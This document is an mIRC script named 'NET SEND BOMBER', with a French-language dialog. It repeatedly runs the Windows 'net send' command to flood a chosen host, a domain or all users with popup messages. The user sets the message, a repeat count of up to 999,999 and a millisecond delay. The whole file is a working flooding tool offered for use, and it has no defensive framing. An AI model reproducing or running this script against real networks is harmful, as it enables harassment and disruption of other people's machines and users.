NET SEND BOMBER

;                           <-------- NetSend -------->
dialog net {
  title "Net Send par pOupi & Uself"
  size -1 -1 110 205
  option dbu
  box "Cilble", 100, 5 2 100 78
  box "Message", 101, 5 82 100 50
  box "Option", 102, 5 134 100 30
  box "Start", 103, 5 166 100 22
  button "Fermer", 1, 20 192 30 10, ok
  button "Init", 2, 60 192 30 10
  radio "IP/Nom :", 3, 10 10 40 10, right
  edit "", 50, 16 20 70 10
  radio "Mon Domaine", 4, 10 32 45 10, right
  radio "Un Domaine :", 5, 10 44 45 10, right
  edit "", 51, 16 54 70 10
  radio "Tous Les Utilisateurs :", 6, 10 66 60 10, right
  edit "", 52, 7 91 96 39, multi, autovs
  text "Nombre :", 60, 27 143 30 10
  edit "", 53, 25 151 25 10
  text "Delay (ms) :", 61, 60 143 30 10
  edit "", 54, 60 151 25 10
  button "Start", 9, 13 175 20 10
  button "Stop", 10, 33 175 20 10
  text "", 62, 54 176 50 10, center
}

on 1:dialog:net:init:0:{ net_init }
on 1:dialog:net:close:0:set %net_fini oui
on *:dialog:net:sclick:3,4,5,6:{ net_verif_radio | net_verif_start }
on 1:dialog:net:edit:50:{ set %net_edit50 $did(net,50) | net_verif_start }
on 1:dialog:net:edit:51:{ set %net_edit51 $did(net,51) | net_verif_start }
on 1:dialog:net:edit:52:{ set %net_edit52 $did(net,52) | net_verif_start }
on 1:dialog:net:edit:53:{ set %net_edit53 $did(net,53) | net_verif_start | net_verif_aff }
on 1:dialog:net:edit:54:{ set %net_edit54 $did(net,54) | net_verif_start }
on 1:dialog:net:sclick:9:{ set %net_fini non | did -b net 1,2,3,4,5,6,50,51,52,53,54,9 | did -e net 10 | netsend } 
on 1:dialog:net:sclick:10: { set %net_fini oui | set  %net_i 0 | .timer8 off | did -e net 1,2,3,4,5,6,52,53,54,9 | did -b net 10 | net_verif_radio | net_verif_start } 
on 1:dialog:net:sclick:2:{ 
  did -u net 3,4,5,6
  set %net_i 0 | set %net_edit50 127.0.0.1 | set %net_edit51 Workgroup | set %net_edit52 Tappez Votre Message ici. | set %net_edit53 100 | set %net_edit54 1000 | set %net_radio 3
  net_init 
}

alias net_init {
  did -b net 10
  if (%net_radio == $null) set %net_radio 3
  if (%net_radio == 3) did -c net 3
  if (%net_radio == 4) did -c net 4
  if (%net_radio == 5) did -c net 5
  if (%net_radio == 6) did -c net 6
  net_verif_radio
  if (%net_edit50 == $null) { set %net_edit50 127.0.0.1 | did -ra net 50 %net_edit50 } | else did -ra net 50 %net_edit50
  if (%net_edit51 == $null) { set %net_edit51 Workgroup | did -ra net 51 %net_edit51 } | else did -ra net 51 %net_edit51
  if (%net_edit52 == $null) { set %net_edit52 Tappez Votre Message ici. | did -ra net 52 %net_edit52 } | else did -ra net 52 %net_edit52
  if (%net_edit53 == $null) { set %net_edit53 100 | did -ra net 53 %net_edit53 } | else did -ra net 53 %net_edit53
  if (%net_edit54 == $null) { set %net_edit54 1000 | did -ra net 54 %net_edit54 } | else did -ra net 54 %net_edit54
  set %net_i 0
  net_verif_aff
  net_verif_start
}
alias net_verif_radio {
  if ($did(net,3).state == 1) { set %net_radio 3 | did -e net 50 } | else did -b net 50 
  if ($did(net,4).state == 1) set %net_radio 4
  if ($did(net,5).state == 1) { set %net_radio 5 | did -e net 51 } | else did -b net 51
  if ($did(net,6).state == 1) set %net_radio 6
}
alias net_verif_start {
  if (((%net_edit51 == $null) && (%net_radio == 5)) || ((%net_edit50 == $null) && (%net_radio == 3)) || (%net_edit52 == $null) || (%net_edit53 !isnum) || (1 > %net_edit53 > 999999) || (%net_edit54 !isnum) || (1 > %net_edit54 > 999999)) did -b net 9 | else did -e net 9
}
alias net_verif_aff { did -ra net 62 %net_i $+ / $+ %net_edit53 }
alias net_stop { set %net_fini oui | .timer8 off | did -e net 1,2,3,4,5,6,52,53,54,9 | did -b net 10 | net_verif_radio | net_verif_start | halt } 
alias netsend {
  :1
  if (%net_fini == oui) halt
  elseif (%net_fini == do) goto 2
  else set %net_i 0
  :2
  if (%net_radio == 3) run net send %net_edit50 %net_edit52
  if (%net_radio == 4) run net send /domain %net_edit52
  if (%net_radio == 5) run net send /domain: $+ " $+ %net_edit51 $+ " %net_edit52
  if (%net_radio == 6) run net send /users %net_edit52
  inc %net_i
  net_verif_aff
  set %net_fini do
  if (%net_i == %net_edit53) net_stop
  else .timer8 -m 0 %net_edit54 /netsend
}
alias net { dialog -m net net }